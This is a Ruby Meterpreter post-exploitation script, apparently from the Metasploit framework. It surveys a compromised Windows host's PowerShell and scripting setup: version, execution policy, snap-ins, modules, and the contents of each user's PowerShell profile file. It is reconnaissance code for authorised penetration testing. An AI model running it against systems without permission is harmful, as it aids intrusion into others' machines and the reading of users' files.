128 lines
4.1 KiB
Ruby
128 lines
4.1 KiB
Ruby
# $Id$
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# $Revision: $
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#Meterpreter script for enumerating Microsoft Powershell settings.
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#Provided by Carlos Perez at carlos_perez[at]darkoperator[dot]com
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@client = client
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@@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false,"Help menu." ]
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)
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@@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-h"
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print_line("enum_scripting_env -- Enumerates PowerShell and WSH Configurations")
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print_line("USAGE: run enum_scripting_env")
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print_line(@@exec_opts.usage)
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raise Rex::Script::Completed
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end
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}
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#Support Functions
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#-------------------------------------------------------------------------------
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def enum_users
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os = @client.sys.config.sysinfo['OS']
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users = []
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user = @client.sys.config.getuid
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path4users = ""
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sysdrv = @client.fs.file.expand_path("%SystemDrive%")
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if os =~ /Windows 7|Vista|2008/
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path4users = sysdrv + "\\Users\\"
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profilepath = "\\Documents\\WindowsPowerShell\\"
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else
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path4users = sysdrv + "\\Documents and Settings\\"
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profilepath = "\\My Documents\\WindowsPowerShell\\"
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end
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if is_system?
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print_status("Running as SYSTEM extracting user list..")
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@client.fs.dir.foreach(path4users) do |u|
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userinfo = {}
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next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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userinfo['username'] = u
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userinfo['userappdata'] = path4users + u + profilepath
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users << userinfo
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end
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else
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userinfo = {}
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uservar = @client.fs.file.expand_path("%USERNAME%")
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userinfo['username'] = uservar
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userinfo['userappdata'] = path4users + uservar + profilepath
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users << userinfo
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end
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return users
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end
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#-------------------------------------------------------------------------------
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def enum_powershell
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#Check if PowerShell is Installed
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if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
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print_status("Powershell is Installed on this system.")
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powershell_version = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine","PowerShellVersion")
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print_status("Version: #{powershell_version}")
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#Get PowerShell Execution Policy
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begin
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powershell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","ExecutionPolicy")
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rescue
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powershell_policy = "Restricted"
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end
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print_status("Execution Policy: #{powershell_policy}")
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powershell_path = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell","Path")
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print_status("Path: #{powershell_path}")
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if registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1").include?("PowerShellSnapIns")
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print_status("Powershell Snap-Ins:")
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registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns").each do |si|
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print_status("\tSnap-In: #{si}")
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registry_enumvals("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}").each do |v|
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print_status("\t\t#{v}: #{registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellSnapIns\\#{si}",v)}")
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end
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end
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else
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print_status("No PowerShell Snap-Ins are installed")
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end
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if powershell_version =~ /2./
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print_status("Powershell Modules:")
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powershell_module_path = @client.fs.file.expand_path("%PSModulePath%")
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@client.fs.dir.foreach(powershell_module_path) do |m|
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next if m =~ /^(\.|\.\.)$/
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print_status("\t#{m}")
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end
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end
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tmpout = []
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print_status("Checking if users have Powershell profiles")
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enum_users.each do |u|
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print_status("Checking #{u['username']}")
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begin
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@client.fs.dir.foreach(u["userappdata"]) do |p|
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next if p =~ /^(\.|\.\.)$/
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if p =~ /Microsoft.PowerShell_profile.ps1/
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ps_profile = session.fs.file.new("#{u["userappdata"]}Microsoft.PowerShell_profile.ps1", "rb")
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until ps_profile.eof?
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tmpout << ps_profile.read
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end
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ps_profile.close
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if tmpout.length == 1
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print_status("Profile for #{u["username"]} not empty, it contains:")
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tmpout.each do |l|
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print_status("\t#{l.strip}")
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end
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end
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end
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end
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rescue
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end
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end
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end
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end
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if client.platform =~ /win32|win64/
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enum_powershell
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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